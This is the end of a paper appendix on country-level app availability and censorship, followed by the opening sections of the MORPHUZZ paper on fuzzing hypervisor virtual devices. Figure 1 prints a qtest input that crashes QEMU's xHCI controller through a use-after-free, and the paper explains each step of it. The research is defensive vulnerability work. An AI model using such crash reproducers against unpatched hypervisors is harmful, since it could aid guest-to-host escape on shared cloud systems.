availability is shown in Figure 9. We found a high similarity
in available apps between countries in the same region.

Figure 9: World map of clusters: Countries in the same geographic
region have comparable app availability.

B SSL Error in Tunisia

In Tunisia, 1,819 apps consistently failed to download with
SSL bad handshake error (Err7), even on repeated attempts.
We confirmed that these errors are not because of client and
server misconfigurations. Our packet capture of the client’s
communication with Google servers in Tunisia and other
countries show that the SSL/TLS handshake completes suc-
cessfully, even when the error from Tunisia suggests oth-
erwise. We also ran the Qualys SSL Server Test [97] on
Tunisia’s endpoint and found no anomalies, suggesting that
the SSL errors occur during the data transfer associated with
the apk download. We found that the client (Linux host)
received duplicate or replayed ACK packets during an app
download, causing the failure.

To further confirm a download error, we also manually
attempted to install several apps via a VPN in Tunisia on our
phone. For apps that failed, the install remained in a wait state
indefinitely. This may suggest a network interference practice
to prevent the apps from being installed. Prior research has
shown that censors may do deep packet inspection on SSL
traffic and interfere with packets containing ACKs, including
replaying them, to slow down or halt the data transfer [42].

C GDP vs. FHIF

In our preliminary study, we examine whether there exists
a correlation between a country’s GDP and its FHIF score
using Spearman’s rank correlation coefficient metric. We find
that there is a low, positive correlation (0.42) between Gross
Domestic Product (GDP) and Freedom House’s Internet Free-
dom (FHIF) Score, as shown in Figure 10. However, we
observe countries like IN, which has relatively high GDP and
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Figure 10: GDP vs. FHIF Score: The x axis is log-scaled. While
there is a low, positive correlation between GDP and FHIF score,
there are countries with comparable GDP with varying FHIF classi-
fications (e.g. CA and RU). Note that HK, IL, and IE do not have a
FHIF score.

lower FHIF score, and HU, which has lower GDP and a free
FHIF score. We also observe countries with comparable GDP
and different FHIF classifications (e.g. free CA and not free
RU).

D Privacy Violations

Outside of geographic differences, we also observe policies
that disregard user privacy or make false claims (Figure 11).

Figure 11: Privacy Violations: The policy of
com.segfaultstudios.suckmyads (top) disregards user privacy,
while the policy of com.alien.shooter.galaxy.attack
(bottom) follows the "world data protection act".
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Abstract
The security of the entire cloud ecosystem crucially de-
pends on the isolation guarantees that hypervisors provide
between guest VMs and the host system. To allow VMs to
communicate with their environment, hypervisors provide
a slew of virtual-devices including network interface cards
and performance-optimized VIRTIO-based SCSI adapters.
As these devices sit directly on the hypervisor’s isolation
boundary and accept potentially attacker controlled input (e.g.,
from a malicious cloud tenant), bugs and vulnerabilities in
the devices’ implementations have the potential to render the
hypervisor’s isolation guarantees moot. Prior works applied
fuzzing to simple virtual-devices, focusing on a narrow subset
of the vast input-space and the state-of-the-art virtual-device
fuzzer, Nyx, requires precise, manually-written, specifications
to exercise complex devices.

In this paper we present MORPHUZZ, a generic approach
that leverages insights about hypervisor design combined with
coverage-guided fuzzing to find bugs in virtual device imple-
mentations. Crucially MORPHUZZ does not rely on expert
knowledge specific to each device. MORPHUZZ is the first
approach that automatically elicits the complex I/O behaviors
of the real-world virtual devices found in modern clouds. To
demonstrate this capability, we implemented MORPHUZZ in
QEMU and bhyve and fuzzed 33 different virtual devices (a
superset of the 16 devices analyzed by prior work). Addition-
ally, we show that MORPHUZZ is not tied to a specific CPU
architecture, by fuzzing 3 additional ARM devices. MOR-
PHUZZ matches or exceeds coverage obtained by Nyx, for
13/16 virtual devices, and identified a superset (110) of all
crashes reported by Nyx (44). We reported all newly discov-
ered bugs to the respective developers. Notably, MORPHUZZ
achieves this without initial seed-inputs, or expert guidance.

1 Introduction
While the cloud unveils unique opportunities to IT businesses,
it presents a host of fundamental security issues. From a
technical standpoint, virtualization is the core technology
powering cloud-infrastructure. Virtualization Hypervisors (or

VMMs) multiplex the hardware resources of a physical ma-
chine (the host), between multiple Virtual Machines (VMs or
guests). Cloud-ready hypervisors are complex pieces of soft-
ware, tasked with isolating the software running inside a VM
(i.e., a guest), from the other guests, and the hypervisor itself.
Beyond the cloud, hypervisors are commonly used to sandbox
applications (e.g., for malware research), and for desktop use,
to run applications not supported by the host OS. Regard-
less the application, hypervisors are trusted with providing a
layer of isolation between virtual machines and the host OS.
Crucially, to provide their functionality to guests, hypervisors
include a slew of implementations for virtual devices, and the
code for these devices commonly executes at the privilege
level of the hypervisor itself. Virtual devices play a critical
role in ensuring that the guest is isolated, but due to the com-
plexity of these devices, it can be difficult to safely implement
their functionality in software. Unfortunately exploits com-
promising this layer of isolation (and specifically the virtual
devices) are a tangible reality. In 2015, VENOM [14] was
highly publicized as a VM-Escape vulnerability, which allows
an attacker running within an untrusted guest to compromise
the underlying hypervisor and execute code outside the secu-
rity confines of the VM. VENOM is certainly not a unique
example, and security researchers have identified many vul-
nerabilities leading to potential VM-Escape. Ranked by the
size of bug bounties, VM-escapes are considered among the
most critical classes of vulnerabilities, along with iOS, An-
droid, and browser bugs [58]. Though VM-escape attacks
can take advantage of weaknesses in other hypervisor com-
ponents, such as shadow page tables, our work focuses on
virtual-devices which are responsible for the vast majority of
reported VM-escape vulnerabilities [37].

Software fuzz testing has proven to be a versatile tech-
nique, capable of exposing vulnerabilities in a wide range
of software [3, 12, 15, 19, 23, 24, 29, 30, 44, 50, 54, 57]. As
virtual devices are software components, it seems natural to
apply fuzzing techniques to identify lingering vulnerabilities
therein. Typically a “fuzzer” is tasked with providing random-
ized inputs to software through an interface such as a file, or a
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command-line argument. Unfortunately, hypervisors present
a series of unique challenges, which make it difficult to apply
“off-the-shelf” fuzzers. For example, the virtual devices do
not consume inputs as files or command-line arguments, but
rather as a sequence of memory read and write operations
at precise locations and pointers to memory buffers which
should abide by tight semantic constraints. As a result, the
cumulative input space for virtual-devices grows to gigabytes
or exabytes in size. Thus, without augmentations, this input-
space is intractable for an off-the-shelf fuzzer such as AFL,
which is well-suited to providing small inputs to parsers.

Recognizing the importance of hypervisor security, mul-
tiple works have implemented tailored fuzz-testing for the
virtual-devices provided by various hypervisors. As in the
physical world, VMs interact with virtual devices through a
combination of Port-mapped IO (PIO), Memory Mapped IO
(MMIO), or Direct Memory Access (DMA). IOFuzz [32] only
fuzzes the relatively-compact PIO address space. VDF [18]
uses selective coverage-guided fuzzing, combined with seed
traces recorded during normal VM usage, to fuzz devices that
receive inputs through PIO and MMIO.

Recently, Hyper-Cube [43] is the first fuzzer to consider
the last-remaining, and most sophisticated, widespread de-
vice interface: Direct Memory Access (DMA). Fuzzing DMA
devices is critical to protecting Cloud infrastructure, since
devices used on the cloud rely heavily on DMA. For example,
all four PCI devices (for disk, network, VM memory “balloon-
ing”, and random-number-generation) connected to a standard
Google Compute Engine virtual-machine rely on DMA. To
elicit DMA behavior, Hyper-Cube first writes random data
to a small scratch-buffer in memory. Then, by writing the ad-
dress of the scratch-buffer to the enumerated PIO and MMIO
regions, Hyper-Cube tries to trigger DMA activity. Unfortu-
nately, this approach is capable of triggering only the simplest
types of DMA transactions.

Recognizing this limitation, the state of the art virtual de-
vice fuzzer, Nyx [42], a follow-up to Hyper-Cube, augments
the unguided Hyper-Cube with coverage information col-
lected via Intel-PT. However, Nyx’ coverage-guided nature
alone does not resolve the issues encountered when fuzzing
complex virtual-devices. Thus, Nyx proposes a framework for
developing precise user-provided specifications for fuzzing
complex devices. While this allows Nyx to boost the cover-
age for virtual-devices such as USB controllers, and VIRTIO
block-devices, it essentially turns core-aspects of Nyx into
a grammar-based fuzzer with all its advantages and disad-
vantages. That is, provided a grammar, the fuzzer can elicit
“deep” behavior of virtual devices. However, expert knowl-
edge is required to create the grammar in a laborious and
error-prone process. Furthermore, the fuzzer loses the ability
to identify bugs that exist outside the confines of the grammar.
Even worse, the grammar is developed based on abstract spec-
ifications. Yet, the actual device code has ample leeway to im-
plement said specification. As such, disconnects between dis-

tilled grammars and actual implementations are highly likely,
potentially placing dangerous bugs outside of the fuzzer’s
reach. Considering the fact that the specifications require a
custom mutation engine, and took days of effort to create for
individual devices, this approach faces scalability issues. At
the time of this paper’s acceptance, Hyper-Cube/Nyx source
code had not been released, however, in our own analysis, we
found that DMA activity is not conducive to heuristic-based
fuzzers, such as Hyper-Cube, that rely on a single scratch
buffer (see Section 3.2). Furthermore, we found new bugs
in all the devices for which Nyx had specifications, further
illustrating the difficulty of writing accurate and complete
specifications.

We identified the core challenge faced by virtual-device
fuzzers is the fact that virtual devices rely heavily on semantic
dependencies, that are not conducive to off-the-shelf guided
fuzzers. These dependencies exist between data written to
PIO/MMIO addresses and the location of DMA buffers, but
more importantly within the structure of DMA buffers them-
selves (e.g., buffers can contain pointers to further buffers,
queues, rings, etc.). To satisfy the semantic constraints re-
quired by virtual-device implementations we leverage insights
from hypervisor design. Specifically, we observe that mod-
ern virtualization strategies require hypervisors to implement
functionality to mediate PIO, MMIO, and DMA activity. Com-
bined with the fact that the hypervisor must know about the
input-space(s) for all its virtual-devices, we devise a method-
ology called MORPHUZZ that leverages this information to
fulfill any semantic constraint arising from device I/O on-
demand. In addition to transparently fulfilling semantic con-
straints, this on-demand approach allows MORPHUZZ to lever-
age battle-tested off-the-shelf fuzzers (e.g., libFuzzer) to reach
“deep” virtual-device functionality. Importantly, MORPHUZZ
obviates the need for specifications and seed traces. Based
on the insights provided by the hypervisor, MORPHUZZ dy-
namically reshapes (i.e., bends) the input-space to conform to
the strict boundaries of the currently-accessible PIO, MMIO
and, most-importantly, DMA regions.

The input-space for virtual-devices is vast, encompassing
all the VM’s memory and port addresses. However, only a
small subset of these addresses is engaged in device I/O, at
any time. Furthermore, through technologies such as DMA,
and PCI, device I/O can happen at arbitrary, dynamically
changing, addresses. Hence, a random fuzzer would waste
most of its time interacting with addresses that are unrelated
to device I/O. By bending the input-space, the I/O activity
generated by MORPHUZZ, precisely, and exclusively interacts
with the PIO/MMIO and DMA regions engaged in device
I/O. Though, MORPHUZZ only fuzzes small areas of the
entire input-space at any time, these areas are representative
of the addresses engaged in I/O at any moment. With dynamic
reshaping, MORPHUZZ can interact with any address, as long
as the address is related in to device I/O. Additionally, MOR-
PHUZZ does not rely on architecture-specific knowledge to
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operate. Observing the growing influence of non-x86 architec-
tures, we applied MORPHUZZ to fuzz ARM virtual-devices,
with no changes to the MORPHUZZ code.

Finally, in a head-to-head evaluation, MORPHUZZ outper-
formed Nyx’ manually written specifications for xHCI and
VIRTIO, and found all 44 bugs that Nyx reported in these
devices. Furthermore, MORPHUZZ identified an additional
66 bugs. Beyond the number of bugs, MORPHUZZ also con-
sistently outperforms prior work, with respect to coverage.
MORPHUZZ produces DMA behaviors that are more com-
plex than anything that can probabilistically be triggered by
Hyper-Cube. Moreover MORPHUZZ achieves this without the
manual effort required to fuzz complex devices with Nyx. In
summary, this paper makes the following contributions:

• We describe MORPHUZZ – our generic method that lever-
ages inherent characteristics of hypervisor designs to re-
shape the virtual-device input space, making it amenable to
fuzzing without seeds or specifications (§4). Our methodol-
ogy enables targeted, coverage-guided, fuzzing of virtual
devices in production hypervisors.

• We implement MORPHUZZ for the popular open-
source QEMU hypervisor (§4). Our implementation,
QMORPHUZZ produces self-contained and deterministi-
cally reproducible results (i.e., crashing inputs). In addition
to typical memory-corruption bugs, MORPHUZZ identifies
bugs that are characteristic of DMA virtual-devices, such as
data-races and double-fetches. For bugs that are not double-
fetches MORPHUZZ automatically generates reproducers
for recreating issues in an unmodified build of QEMU. To
demonstrate the ease of applying MORPHUZZ to other hy-
pervisors, we also ported MORPHUZZ to bhyve.

• As MORPHUZZ fuzzes virtual-device implementations, we
evaluate MORPHUZZ on 28 virtual-devices (§5) in QEMU,
a strict superset of the 15 devices analyzed in prior work.
Our experiments demonstrate that MORPHUZZ effectively
identifies previously known, as well as, new bugs in a wide
range of virtual device implementations.

• By working directly with the QEMU developer commu-
nity, we reported 61 bugs identified by QMORPHUZZ, 22
of which have already been fixed, by their corresponding
maintainers. Nine of these issues have been assigned CVE
IDs, and published. We also responsibly disclosed the issues
found by MORPHUZZ in bhyve.

• A fully functional implementation of virtual-device fuzzing,
based on QMORPHUZZ, is already contained in the QEMU
repository, where it is used to continuously fuzz virtual-
device implementations via Google’s OSS-Fuzz [33].

2 Background
In this section, as background for our work, we describe rele-
vant aspects of hypervisors, virtual devices, and fuzzers.

Computers normally communicate with the outside world
through peripheral devices (e.g. hard disk, network and USB
controllers). Since the operating systems running in VMs
expect to communicate through peripherals too, hypervisors
implement virtual-devices in software that create the illu-
sion of peripherals for the guest. However, physical hardware
is often designed around a different set of constraints than
software. Thus, software virtual devices that mimic physical
hardware, often achieve sub-optimal performance. As VMs
became ubiquitous and VM performance inefficiencies re-
sulted in monetary costs, hypervisor developers designed and
implemented paravirtual devices, such as VIRTIO-type de-
vices. These devices are not based on any physical device.
Instead, they are designed and optimized specifically for vir-
tualization.

2.1 Interfacing with (virtual) devices

Common computer architectures provide some, or all of the
following interfaces for the CPU to interact with devices.

Port-mapped IO (PIO) is an x86-specific interface that re-
lies on special CPU instructions (in/out on x86) to pass data
from registers or main memory to a separate address-space
dedicated to devices. PIO is constrained to a limited address
space (64k total addresses) and the small size (1-4 bytes)
of each transfer. PIO often serves as a primary interface for
low-bandwidth communication with devices, such as timers,
interrupt controllers, or serial ports.

Memory-Mapped IO (MMIO) sets aside regions of physi-
cal main memory for device I/O. Unlike regular read/write
access to physical memory, operations to memory-mapped
regions are forwarded by the memory-controller to the periph-
eral. Similar to PIO, transferring data to and from the device
via MMIO is a blocking/synchronous operation for the CPU.

Direct Memory Access (DMA) provides peripherals with
rapid, direct access to physical memory, bypassing the CPU.
When the CPU wishes to signal to a device that some data
is available for DMA transfer, it can simply communicate
the location of the data in physical memory to the device
using PIO or MMIO. The device can then, independently,
access the data in memory. Notably, the CPU is not involved
in the actual transfer of the data. From the perspective of the
CPU, it simply signaled a pointer to some data, by writing
to a PIO/MMIO register. As we will see in Section 3.2, a
single PIO/MMIO command can result in many levels of
DMA-accesses, since the DMA data can itself contain the
locations of additional data. The format and protocol of DMA
buffers is prescribed by the implementation of the virtual-
device. Due to its performance benefits, DMA is used for high-
throughput devices such as storage controllers, network, and
graphics adapters. While DMA-capabilities require additional
hardware/costs for physical devices (i.e., DMA controllers),
paravirtual-devices are not constrained by hardware costs, and
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rely on DMA extensively for “free”.

The pointers and data-structures involved in DMA trans-
fers, are by no means the sole semantic dependency that occur
in device-usage. For example, PCI-based devices are unavail-
able, until the CPU interacts with the PCI controller to config-
ure each device’s base-address-registers (BARs), which spec-
ify the location of each MMIO/PIO region associated with
the device. Thus, the MMIO/PIO regions for PCI devices are
semantically tied to prior interactions with the PCI controller.
Prior systems rely on heuristics, or expert-knowledge to ad-
dress these semantic connections, and typically prevent the
fuzzer from tampering with the PCI state, after it has been
initialized. On the other hand, MORPHUZZ can transparently
fuzz the PCI controller, and PCI devices.

2.1.1 Emulating Virtual Devices

In a VM, when the guest attempts to access a device using
PIO, or MMIO, the hypervisor must stop the virtual CPU to
handle the access within a virtual-device. Hypervisors imple-
ment a mechanism to “trap” on PIO and MMIO accesses. For
example, by unmapping the memory-pages that correspond
to the guest’s physical MMIO regions, the hypervisor ensures
that any IO activity within the guest results in an exception.
Similarly, PIO relies on privileged instructions which raise
exceptions, when the guest invokes them, providing the hyper-
visor with control over execution. The hypervisor handles the
exception, calling into the virtual-device code corresponding
to the PIO/MMIO access. After the virtual-device handles the
request, the hypervisor updates the register/memory state of
the guest, and resumes the virtual CPU.

2.2 Virtual Device Vulnerabilities

Virtual-device code has been found to contain bugs such as
buffer-overflows, heap-overflows, stack-overflows, use-after-
frees, use of uninitialized memory, infinite loops, and pre-
mature terminations [7–11, 38, 39]. Additionally, we high-
light two types of issues that are characteristic of virtual-
devices: reentrancy vulnerabilities and double-fetch bugs. Vir-
tual DMA can introduce guest-exploitable reentrancy and
data-race issues. These bugs arise from insufficient precau-
tions when handling IO commands that originate from the
guest. For example, DMA data often contains sensitive in-
formation, such as buffer-lengths, or element-count. Virtual-
devices must take care when handling this metadata, since
a malicious guest can modify the metadata while a virtual-
device is processing a request to exploit a double-fetch bug.
In other cases, if a device negligently performs a DMA access,
it can, inadvertently touch a region of memory that is mapped
to its own MMIO space, which may not be designed to handle
multiple concurrent accesses, resulting in a guest-triggerable
reentrancy bug in the implementation of the virtual-device.

2.3 Testing Virtual Devices
Hypervisor developers have recognized the importance of test-
ing virtual-devices. For example, QEMU’s testing framework,
qtest, provides an interface for directly performing memo-
ry/IO through an API, rather than through assembled CPU
instructions. This allows qtest to run test-suites against virtual
device implementations without relying on a purpose-built
testing guest-OS. Usually a guest interacts with devices us-
ing CPU instructions such as inb %Port_Number, or movl
%MMIO_Address,value, which trap into the hypervisor code
and are handled by virtual-device code. With qtest, the de-
veloper specifies I/O requests using a simple ASCII protocol.
qtest interprets the ASCII instructions using the same APIs
that are used to route vCPU I/O accesses that trapped into the
hypervisor. For example, the trace in Figure 1 can be directly
provided to qtest to reproduce a crash. Some hypervisors,
such as bhyve, do not provide testing facilities. However, we
were able to trivially implement the subset of qtest operations
helpful for fuzzing bhyve in 90 lines of code.

3 Motivation
In this section, we outline the challenges facing a virtual-
device fuzzer. First, we describe the randomized inputs pro-
vided to a virtual-device fuzzer by a fuzzing engine. Next,
we describe an output of the virtual-device fuzzer - an I/O
sequence used to crash a hypervisor. Finally, we provide a
summary of the challenges faced by a fuzzer aiming to convert
randomized inputs into I/O sequences that crash hypervisors.

3.1 Fuzzer Inputs
Fuzzer engines provide randomized bytes that can be fed as
inputs to a program. Most modern fuzzers typically gener-
ate discrete inputs. This makes it simple to store inputs that
resulted in interesting behaviors (e.g. crashes). One benefit
of separate inputs is that a fuzzer can operate over external
inputs provided by the developer. For example, a developer
fuzzing an image library, can provide the fuzzer with “seed”
inputs, which the fuzzer can use as the basis for future mu-
tations - increasing the chance of triggering interesting code
over a purely-randomized approach. Coverage guided fuzzers
further augment the mutation process by gathering coverage
feedback from the target program, used to guide future muta-
tion of inputs.

Complex interfaces such as code compilers and operating-
systems require highly structured inputs, that off-the-shelf
fuzzers are unlikely to produce. For such targets, even a
rich corpus of valid inputs might not be enough for effec-
tive fuzzing, since small mutations often compromise the
structural validity of the input, producing inputs that are un-
likely to reach interesting code-paths within the target. To
fuzz such complex targets, developers usually implement ad-
ditional layers of machinery between the fuzzer and the ac-
tual target. For example, the fuzzer’s random bytes can be
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PCI
Controller

CPU

xHCI (USB)
Operational

Transfer Ring 1

Data Block

Transfer Ring 2

01 outl 0xcf8 0x80001010
02 outl 0xcfc 0xc0200
03 outl 0xcf8 0x80001004
04 outl 0xcfc 0x1c77695e
05 write 0xc0040 0x4 0x55000000
06 write 0xc2000 0x4 0x00000000
07 write 0x1d 0x1 0x27
08 write 0x2d 0x1 0x2e
09 write 0x3d 0x6 0x2700002e7201
10 write 0x4d 0x3 0x2e0001
11 write 0x17232 0x1 0x03
12 write 0x17254 0x1 0x05
13 write 0x17276 0x3 0x72002 
14 write 0x2007c 0x1 0xc7
15 write 0x20070 0x1 0x80
16 write 0x20078 0x1 0x08
17 write 0x2007c 0x2 0xfe08
18 write 0x20080 0x3 0x00ff0b
19 write 0x20089 0x1 0x8c
20 write 0x2008d 0x1 0x04
30 write 0x2009d 0x1 0x10
31 write 0xc2000 0x4 0x00000000
32 write 0xc2000 0x4 0x00000000
33 write 0xc2004 0x4 0x01000000

xHCI (USB)
Doorbell

Memory

Port IO

0110111000000
0111000110101
0100111010101
1111010000111
0011010110101
1001100111001
1111010011001
1011011010...

?

Figure 1: On the right, a crashing input found by MORPHUZZ for the xHCI
(USB) controller. In color, we highlight addresses that depend semantically
on previously written values (in bold). Note that the addresses may have
swapped-endianness. In italics, we highlight the lines that serve to populate
DMA regions in memory. In the diagram, the regions with rounded edges
represent DMA buffers that could be located anywhere in memory. The solid
lines represent the Port/Memory accesses performed by the virtual CPU. The
dashed lines represent implicit semantic dependencies.

used to seed a program generator, the output of which is, in
turn, used to fuzz a compiler. Commonly, fuzzer develop-
ers rely on fuzzing-grammars and structure-aware fuzzers,
which covert random bytes, into a structured input based on
manually-created grammars or descriptions. Such grammars
are used by the renowned syzkaller OS-fuzzer.

3.2 Crashing Virtual Devices
As we are interested in finding potential VM-escape vulner-
abilities in virtual-device code, the fuzzer must be capable
of interacting with virtual-devices over the major device I/O
interfaces (PIO/MMIO and DMA). To illustrate the com-
plexity of producing complex virtual-device interactions, we
describe a reentrancy issue found by MORPHUZZ in QEMU’s
xHCI(USB) controller. Figure 1 features the crash reproducer
generated by QMORPHUZZ, along with a diagram. Instead
of attempting to summarize the 645-page xHCI specification,
we highlight the five layers of semantic-dependencies that the
fuzzer addressed to produce a crashing input.

The xHCI controller is a PCI-based device. As such, the
first I/O interactions (lines 01-04) use PIO outl instructions
to communicate with the PCI controller (on ports 0xCF8 and
0xCFC) and configure the xHCI’s first BAR to 0xC0200,
which is automatically page-aligned to 0xC0000 (line 03).
Once the BAR is configured and enabled, the xHCI device
accepts MMIO requests at the specified address. In particu-
lar, the crash requires interacting (lines 05-06, 31-33) with
the xHCI’s operational range (based at 0xC0040) and the
doorbell range (Based at 0xC2000). Note that only five lines
interact with the xHCI controller’s MMIO range. The vast
majority of the operations (lines 07-30) configure data in
three distinct DMA buffers (starting at 0x1D, 0x17232, and
0x2007C). These three buffers correspond to segments of
a xHCI Transfer Ring (containing pointers to DMA buffers
describing transfers), and an Input Data Block, all of which
are represented in main memory, and accessed via DMA.

As mentioned in Section 2.1, CPUs can provide the address
of DMA buffers by writing pointers over PIO/MMIO. In our
example, the CPU only communicates one DMA location to
the xHCI device over MMIO (the location of Transfer Ring 1
sent at line 06). Subsequently, the location of the Data Block
is derived from Transfer Ring 1 (line 09). The location of
Transfer Ring 2 is derived from the Data Block (line 13).
There are, in-fact, four valid DMA addresses required to re-
produce the crash. The address of the final buffer (a pointer
to an Output Data Block) is derived from Transfer Ring 2.
Instead of pointing to some free space in memory, though, the
address of the output Data Block (written on line 18) points
to a location (0xBFF00) that is near the xHCI’s “Operational”
MMIO Region. Thus, when the xHCI device attempts to write
3,584 bytes to the output Data Block, it inadvertently writes
to its own MMIO registers. By writing to its own MMIO
region, the device initiates a new DMA transfer, while the
original request is still in progress. As the implementation
of the xHCI controller is not reentrant, this nesting of xHCI
activity frees resources that are still referenced by the original
request. Thus, when the nested MMIO access is complete, the
device triggers a use-after-free.

Note that in addition to the appearance of all major modes
of device I/O (PIO, MMIO and DMA), there are five layers
to the implicit semantic dependencies involved in trigger-
ing the crash in Figure 1 (follow the dashed arrows). For a
grammar-based fuzzer to find such a crash, its grammar must
accurately reason about each of the five levels of xHCI seman-
tics. Each inaccurate assumption, or heuristic, greatly reduces
the fuzzer’s ability to reach the next layer of interaction.

3.3 Summary of Challenges
In summary, fuzzers face several challenges in finding bugs
such as the one detailed in Fig. 1:

1. The virtual device fuzzer must be capable of producing
inputs that operate across all the modes of device I/O.
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That is, a fuzzer attached to an off-the-shelf fuzzing en-
gine, must ingest randomized bytes and convert them
into virtual-device IO.

2. As the input space accessible through each mode of I/O
is enormous, the fuzzer must identify and target only the
I/O regions that are associated with virtual-devices.

3. The fuzzer must be aware of the implicit semantic de-
pendencies that occur in device I/O.

One straightforward solution to address these challenges
is to create a grammar specification for each device - essen-
tially creating specialized fuzzers for each device. However,
as virtual-devices specifications are often complex (and some-
times inaccurate), creating quality specifications requires sig-
nificant time investment and expert domain-knowledge.

4 MORPHUZZ

MORPHUZZ closes the existing gap that inhibits fuzzers from
exercising virtual-devices that implement complex I/O pro-
tocols, without days of manual specification effort, for each
device. The two core tenets of our design are the reshaping
of input space to account for dynamic changes in I/O mem-
ory layout and optimizing for arbitrary DMA activity. To this
end, MORPHUZZ leverages fundamental characteristics of
VMMs to precisely and exclusively fuzz memory regions
associated with virtual-devices. First, we describe how MOR-
PHUZZ works with a fuzzing mutation backend to produce
sequences of IO operations. Then we explain how MOR-
PHUZZ isolates PIO and MMIO regions, to guarantee that
each fuzzer-produced PIO/MMIO interaction triggers virtual-
device code (§4.2). Then, we cover MORPHUZZ’s strategy
for leveraging the hypervisor’s DMA APIs to transparently
produce inputs that satisfy complex semantic dependencies
(§4.3). Combining these capabilities yields a generic fuzzing
approach (MORPHUZZ) that reshapes the virtual-device input-
space and successfully fuzzes virtual device implementations.
Importantly, the generic nature of MORPHUZZ ensures that no
prior knowledge in the form of I/O protocols (such as PCI enu-
meration), seed inputs, or explicit specifications is required.
If MORPHUZZ identifies a crash in a virtual-device, the final
step “unbends” the reshaped input-space into a standalone
reproducer (§4.4.3). This capability is particularly useful to
communicate identified crashes to virtual-device developers
who can use the reproducer to deterministically trigger the
bug in a regular build of the hypervisor. Figure 2 presents a
conceptual overview of our MORPHUZZ design.

We describe QMORPHUZZ, our implementation of virtual-
device fuzzing for QEMU. We explain our automated sys-
tem for reproducing crashes found by QMORPHUZZ in an
unmodified version of QEMU (§4.4.3). To emphasize the
applicability of MORPHUZZ’s techniques to other hypervi-
sors, we describe the straightforward steps necessary to adapt
MORPHUZZ for this task. We also provide an account of

VM Context
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Input Bytes

Split Commands
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readl 0xBEEF
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read 0xBEEF DMA Fill DMA Fill write

Pattern Table

Time

Guest-Address Map

DMA-Access API
Identify and Hook:

Prepare the Hypervisor

Fuzz Virtual Devices

 "Un-bend" Crashing Inputs
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Figure 2: 1 We identify and provide MORPHUZZ with insight into the
DMA-access API and Guest-Address Map, reshaping the input-space. 2
MORPHUZZ fuzzes virtual-devices over PIO, MMIO and DMA, in a precise,
and targeted manner. 3 We “unbend” the crashes found by MORPHUZZ to
report bugs.

how we followed these steps to rapidly deploy fuzzing with
MORPHUZZ for bhyve (§4.5.1).

4.1 The Interpreter
As we mentioned in Section 3, fuzzers such as AFL and
libFuzzer provide inputs in the form of buffers. While such
inputs are well-suited for fuzzing e.g., image-libraries with
interfaces that operate on buffers, virtual-devices have no such
interface. Instead, virtual-device interactions involve many
individual PIO/MMIO and DMA operations.

To address this, MORPHUZZ follows canonical guidelines
for splitting fuzzer inputs [22] to implement an interpreter.
MORPHUZZ’s interpreter relies on a simple opcode language.
Individual operations in the input are divided by a 4-byte
“separator”1. For MORPHUZZ to perform two operations, the
fuzzing backend must provide a byte-buffer that contains one
“separator”. As an added benefit, the separator ensures that
small changes, such as bit-flips within an instruction, do not
result in a cardinally different set of I/O operations. That is,
similar inputs are likely to result in similar behaviors.

The first byte of each operation acts as the “opcode”. The
interpreter examines the byte, and executes the corresponding

1Modern fuzzing backends, such as libFuzzer, automatically identify the
separator and add it to their “dictionary” of byte patterns to be used when
generating new inputs.
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opcode handler. MORPHUZZ’s operations can be of variable-
length. If the operation contains too few bytes to encode all of
the parameters required by the opcode, MORPHUZZ discards
the corresponding operation and moves on to the next decoded
operation in the input. Conversely, if an operation contains too
many bytes, MORPHUZZ reads only the number of operands
specified by the opcode’s implementation and discards the
excess bytes.

The interpreter ingests all of the fuzzer inputs. However, it
is the actual types of operations that enable MORPHUZZ to
effectively fuzz virtual-devices. Throughout the rest of this
section, we will introduce these operations.

4.2 Distilling the MMIO and PIO Input Space

As mentioned in Section 2.1, the CPU can communicate di-
rectly with virtual-devices by reading/writing to Memory-
mapped and Port-mapped addresses. For simple devices, such
as keyboards, and timers, the locations of the ports are usually
standardized across the architecture. However, complex PCI
devices provide the guest OS with flexibility to configure the
locations of PIO and MMIO regions. For example in Figure 1,
the first four instructions (with ports 0xCF8 and 0xCFC) are
programming the PCI controller, to specify PIO and MMIO
locations and enable the xHCI device.

At system-startup, PCI-device MMIO and PIO regions are
not accessible. Instead, low-level kernel drivers are respon-
sible for dynamically, configuring and enabling PCI-devices.
To effectively fuzz virtual-devices, MORPHUZZ must have
an accurate view of the locations of active PIO and MMIO
regions at all times, to avoid interacting with PIO and Memory
Regions that are not mapped to devices. Fortunately, there
is a fundamental solution to this problem: hypervisors must
themselves keep track of active PIO and MMIO regions, so
they can trap-and-emulate upon accesses to those regions and
call the proper virtual-device handlers. As such, hypervisors
keep a Guest-Address Map - a mapping of guest physical ad-
dresses to the underlying virtual hardware. When I/O regions
are created and removed, the mapping is updated. When a
guest I/O access raises an exception, the hypervisor compares
the exception details against the Guest-Address Map to route
the I/O request to the corresponding virtual-device handler.

MORPHUZZ monitors changes to the Guest-Address Map,
tracking the IO regions associated with virtual-devices. Lever-
aging these hooks, MORPHUZZ provides opcodes that allow
the fuzzer input to interact with devices over PIO and MMIO:

in[b,w,l](addr) perform a PIO read
out[b,w,l](addr, value) perform a PIO write
read[b,w,l,q](addr) perform an MMIO read
write[b,w,l,q](addr, value) perform an MMIO write

For these operations, the byte,word,long,quad suffixes specify the
size of the access. Devices, such as the VIRTIO family handle I/O
differently, depending on the size of the access, making this distinction
important.

MORPHUZZ consults the Guest-Address Map every time
the fuzz-input initiates an MMIO/PIO access. Instead of re-
quiring the mutation engine to produce inputs containing
actual MMIO/PIO addresses, MORPHUZZ’s addr parameters
are [index, offset] tuples. MORPHUZZ simply uses these tu-
ples to select a region from the PIO and the MMIO regions
listed in the Guest-Address Map, and to choose an offset
within the region. By bending the input space, MORPHUZZ
ensures that this address falls within an active I/O region
listed within the Guest-Address Map. As such MORPHUZZ
guarantees that each fuzzer PIO and MMIO access results in
a hypervisor trap, with a subsequent call to a software virtual-
device handler. Since, immediately after boot, PCI devices
provide no PIO/MMIO regions the initial Guest-Address Map
contains only a few entries (including the PCI controller regis-
ters). Once MORPHUZZ discovers a fuzz-input that configures
BARs, the hypervisor updates the Guest-Address Map. As
MORPHUZZ keeps track of the Guest-Address Map, subse-
quent I/O actions produced by the same fuzz-input can inter-
act with the newly-mapped PIO/MMIO regions. Essentially
MORPHUZZ’s inputs quickly learn to configure and enable
virtual-devices, automatically.

4.3 On-demand Fuzzing of DMA Accesses
At first glance, the DMA input-space is intractable for a fuzzer.
DMA buffers can reside anywhere in guest memory, and the
VM does not trap, when the CPU accesses them. As such, hy-
pervisors do not need to keep track of DMA buffers, unlike for
PIO/MMIO regions. Instead, virtual devices interpret values
written over MMIO and PIO as DMA buffer addresses2 and
use them to index into the guest’s physical memory. This mas-
sive input-space is a clear roadblock for virtual-device fuzzing.
